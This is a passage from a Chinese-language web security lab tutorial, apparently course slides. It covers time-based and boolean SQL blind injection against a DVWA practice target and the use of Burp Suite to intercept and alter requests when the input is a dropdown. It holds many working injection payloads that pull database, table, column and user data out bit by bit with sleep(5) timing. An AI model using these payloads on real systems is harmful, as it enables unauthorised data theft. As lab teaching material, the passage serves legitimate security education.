无时间延迟由上面的逻辑值可知,二进制位为“00110100”转换为十进制为“52”,在ASCII码表中,十进制值为52的字符为数字4,所以数据库名长度为4。2、数据库名每一个字符的判断,使用注入语句“1'andif((substr(database(),1,1))&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。如下所示,有逻辑值可知,二进制位“01100100”,十进制数值为“100”,对应ASCII码表中字符“d”。1'andif((substr(database(),1,1))&128=128,sleep(5),1)# 无时间延迟1'andif((substr(database(),1,1))&64=64,sleep(5),1)# 有时间延迟1'andif((substr(database(),1,1))&32=32,sleep(5),1)# 有时间延迟1'andif((substr(database(),1,1))&16=16,sleep(5),1)# 无时间延迟6.4基于时间的注入1'andif((substr(database(),1,1))&8=8,sleep(5),1)# 有时间延迟1'andif((substr(database(),1,1))&4=4,sleep(5),1)# 无时间延迟1'andif((substr(database(),1,1))&2=2,sleep(5),1)# 无时间延迟1'andif((substr(database(),1,1))&1=1,sleep(5),1)# 无时间延迟3、数据表个数判断,注入语句为“1'andif(ascii(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。

4、第一个数据表中,表名长度判断,注入语句为“1'andif(ascii(length(substr(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。6.4基于时间的注入5、第一个表的表名第一个字符,注入语句为“1'andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。6、第一个表中列字段个数,注入语句为“1'andif(ascii(selectcount(column_name)frominformation_schema.columnswheretable_name='guestbook')&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。7、第一个表中第一个列字段长度,注入语句“1'andif(ascii(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1)))&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。8、第一个表中第一个列字段第一个字符的注入,语句为“1'andif(ascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1,1))&128=128,sleep(5),1)#”,等号两侧的值由6.4基于时间的注入128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。

9、以users表中,user列为例,读取该列数据,获取该列数据行数,注入语句为“1'andif(ascii(selectcount(user)fromusers)&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。10、users表中,user列,第一行数据长度。注入语句为“1'andif(ascii(substr((selectuserfromuserslimit0,1),1))&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。11、users表中,user列,第一行数据的第一个字符注入语句为“1'andif(ascii(substr((selectuserfromuserslimit0,1),1,1))&128=128,sleep(5),1)#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。6.5非文本框输入的 SQL 盲注任务4非文本框输入的基于布尔值的字符型注入

1、在任务1分析注入原理时,分析了数据处理源码,其中存在的主要问题是,获取到的变量没有进行任何安全级别的过滤,直接拿来进行执行。另一个问题是在页面中使用了文本框,用户可以输入数据,如果不让用户输入数据使用下拉列表框,会不会就不能完成SQL注入呢?(将SecurityLevel修改为medium)如下图所示图6-16下拉列表框6.5非文本框输入的 SQL 盲注

2、由上图可以看到在下拉列表框中无法输入数据,因此不能进行SQL注入,但可以使用代理服务器绕过前端,完成SQL注入。客户端(浏览器)与服务器数据传输方式如下图所示:图6-17访问流程图6.5非文本框输入的 SQL 盲注在正常的访问过程中,客户端发起数据请求“1”,服务器做出对应应答

“2”。如果使用代理服务器,则在客户端请求与应答不再是1-2的路径,改变为3-4-5-6,在此路径中,数据请求与应答都需要经过代理服务器,因此可以再客户端发起请求后,在请求到达代理服务器后,在代理服务器中修改客户端请求,再将修改后的请求发给服务器,服务器将针对修改后的请求给出应答,利用这个原理绕过客户端的安全设置。3、使用Burpsuit软件作为代理服务器。需要设置两个地方,第一,设置浏览器代理服务器,在firefox浏览器中,选择打开菜单(工具栏中最后一个图标,类似三根横线的图标),选择选项,在常规选项卡中设置代理,设置如下图所示6.5非文本框输入的 SQL 盲注图6-18浏览器代理设置16.5非文本框输入的 SQL 盲注在上图中选择红色数字“3”处的设置按钮,打开下一步操作。如下图所示:图6-19浏览器代理设置2在上图中选择“手动代理配置”,HTTP代理设置为“”,端口号为“80”,然后确定。浏览器代理设置完成后,进行Burpsuit代理的设置,如下图所示:6.5非文本框输入的 SQL 盲注图6-20Burpsuit设置6.5非文本框输入的 SQL 盲注打开Burpsuit,如上图所示,选择红色数字1处“proxy”,选择红色数字2处“options”,选中上图中深色底纹处,然后选择红色数字3处“edit”,打开具体设置窗口,在红色数字4处更改为如图所示,然后保存更改,代理设置完成。4、在Burpsuit中将代理设置为监听状态,设置下图所示图6-21设置为监听状态6.5非文本框输入的 SQL 盲注设置顺序为在proxy中选择红色数字1处intercept,红色数字2处设置为interceptison将Burpsuit代理服务器设置为监听状态。5、在图6-15所示的客户端中,在下拉列表框中选择一个数字然后提交,例如选择1。

然后打开Burpsuit,发现已经监听到了客户端的数据请求,如下图所示:图6-22获取数据请求6.5非文本框输入的 SQL 盲注

6、在上图中的红色数字1处可以看到获取数据“id=1&Submit=Submit”,其中id的值为在下拉列表框中获取到的值,也是要传到服务器中要执行SQL命令语句的值,在此可以更改id的值,看是否可以进行注入,修改如下所示:图6-23修改数据6.5非文本框输入的 SQL 盲注

7、将id值改为m,如上图红色数字1处所示,然后单击“forward”按钮,完成修改并将数据发送给靶机服务器,服务器将请求数据发送给客户端(服务器是针对修改后请求发送的数据,因此不需要监听服务器发回的数据,直接将数据放行,发送到客户端。),打来客户端可以看到如下返回数据。图6-24输入m返回值6.5非文本框输入的 SQL 盲注

8、由上图返回结果可以得到没有为m的列,数据不存在。由任务1可知,在暴库前需要大量的注入测试,因此每次测试都需要经过前面步骤5-8,提交数据——监听数据——修改数据——放行——返回数据,一系列过程,操作比较繁琐,因此可以使用Burpsuit的重复测试功能。9、在图6-21的步骤中,在红色数字1所在的位置单击鼠标右键,选择“sendtorepeater”,6.5非文本框输入的 SQL 盲注图6-25repeater设置6.5非文本框输入的 SQL 盲注在上图中所示的图片中,选择菜单栏中的repeater选项卡,如红色数字1所示位置,可以看到上图内容。在红色数字2处将id值的1改为m,然后单击红色数字3处“go”,在response中可以看到具体返回值数据,返回的是网页的html代码,在红色数字4处可以看到的返回值与图6-23中的返回值是完全相同。10、后续在repeater中修改id值完成相应测试。首先需要测试是否存在注入漏洞,然后确定注入类型。通过前面步骤的测试,将id值1改为m后,存在返回值,可以基本确定存在注入漏洞。11、在repeater中将id值“1”,改为“1’”然后放行,查看response中的返回值如下图所示,从返回结果可以看到,是错误提示,不再跟SQL注入实验中可以通过该步骤操作获取一系列信息。6.5非文本框输入的 SQL 盲注图6-26注入类型判断16.5非文本框输入的 SQL 盲注12、对注入类型判断,使用注入语句“1'and1=1#”与“1'and1=2#”,返回结果如下图所示,由图知道,返回值都是相同的,不在数据库中,此处无法判断是不能被

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论